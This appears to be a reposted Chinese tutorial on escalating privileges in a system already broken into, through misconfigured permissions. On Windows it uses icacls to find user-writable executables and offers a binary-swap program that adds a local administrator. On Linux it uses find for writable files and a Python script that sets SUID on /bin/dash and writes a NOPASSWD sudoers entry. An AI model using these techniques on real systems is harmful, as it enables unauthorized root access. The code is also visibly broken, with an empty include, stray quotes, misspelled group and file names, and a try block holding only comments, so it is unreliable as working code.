kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权

利用漏洞提权:

  • 前提:已经成功渗透进入目标系统;
  • 目标:利用系统本身的漏铜进行提权;
    .

利用配置不当提权:
与漏洞提权相比,利用配置不当提权更为常见。大部分企业环境下,会有相应的补丁跟新策略,因此难以通过相应的漏洞进行入侵。因此,当入侵一台服务器候找不到漏洞,可利用配置不当提权。如:

  • 前提:已经成功渗透进入目标系统;
  • 可以查找系统中以system权限启动的而服务或应用,可以尝试将其替代或者反弹shell的方式提权;
  • 可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权;
  • 代码中是否有过滤参数的操作等都可以利用,进行提权。

一、windows系统下查找权限设置不当的程序(Windows server 2003、win7以后的系统中包含的程序)

1、查找exe执行程序的NTFS权限;

命令:icacls c:\Windows*.exe /save perm /T

  • c:\Windows*.exe ——>指定c:\Windows\目录下,所有的exe文件;
  • /save perm:将查询结果保存到文本文件perm中;
  • /T:当前目录以及子目录下所有满足条件的文件;

kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第1张图片
输入命令dir,可以看到生成的perm文件。

kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第2张图片

2、在perm文件中查找含有字符串为FA;;;BU的exe执行程序,表示普通用户具有完全的权限,将其作为潜在的攻击目标。一般情况下,普通用户对操作系统中的文件都没有修改的权限。
  • FA:完全控制权限;
  • BU:即bulit user,默认的普通用户,当它的权限为完全控制时,就是我们要找的程序A。在windows系统中默认没有这种权限,只有当管理员配置不当时,才存在这种情况;
  • PU:power user

kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第3张图片

3、如果找到系统中某个应用程序A,普通用户user时对其具有完全控制权限的,我们可以先将A程序重命名为其他名字,然后将admin.exe重命名为A,这样当管理员下次执行A程序时,实际执行的是admin.exe程序,即普通用户user添加的本地管理员组。

操作过程
在kali上准备admin.c文件,将其编译成可执行程序(即将admin.c的C语言程序编译成在windows中可以执行admin.exe文件),然后想办法拷贝到Windows 2003上,执行admin.exe程序将用户user添加到本地管理员组中。

admin.c文件内容:

#include 
int main()
{
   int i;
   i=system("net localgroup administarators a /add");
   return 0'
}

编译方法:

i586-mingw32msvc-gcc -o admin.exe admin.c

二、linux系统下查找权限设置不安全的程序

1、查看/目录下文件权限为777的所有文件,并列出详细信息;
  • ls -l ——> #查找当前目录下所有文件的权限;
  • find / -perm 777 -exec ls -l {} ; ——> # -perm 777 — 查找所有权限为777的文件;
  • -exec ——> 执行 ls -l ;
  • ; ——> find命令以其结束;

kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第4张图片
kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第5张图片

2、find / -writable -type f 2>/dev/null |grep -v “/proc/” #查看/目录下所有可写的文件;
  • 2 ——> 错误标志位,不满足条件的放入/dev/null;
  • /dev/null ——> 类似于垃圾箱,丢弃;
  • grep -v “/proc/” ——> 反向查找,不找/proc/;

kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第6张图片

三、提权

思路:渗透进入的是应用程序,可查看引用系统的配置文件

  • 通过应用连接数据库的配置文件,发现其连接的服务账号;
  • 后台服务运行账号,有可能root账号运行web服务;

四、编辑python提权

自己编辑python脚本的路径为:vim /usr/lib/log/sudi.py

注意:在/usr/lib的路径下通过mkdir命令建立一个log目录,然后通过以上命令进行编译;

代码内容如下:

#!/usr/bin/env python
#

import os
import sys

try:
#       os.system('rm -r /tmp/*')
#       os.system('cp /bin/sh /tmp/sh')
#       os.system('chmod u+s /bin/dash')
#       os.system('echo "redhat ALL=(ALL) NOPASSWD: ALL" > /etc/sudores')
except:
        sys.exit()
1、通过执行/bin/dash获取root管理员权限

1.1>
kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第7张图片
1.2> 以普通用户hacker登录,执行/bin/dash,可以看到,权限提升为rootkali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第8张图片

2、将普通用户放到sudo组里面获取管理员权限;

2.1> 通过执行echo “redhat ALL=(ALL) NOPASSWD: ALL” > /etc/sudores命令获取管理员权限;

kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权_第9张图片

你可能感兴趣的:(kali Linux渗透测试之第三方提权(三)——利用配置文件不当提权)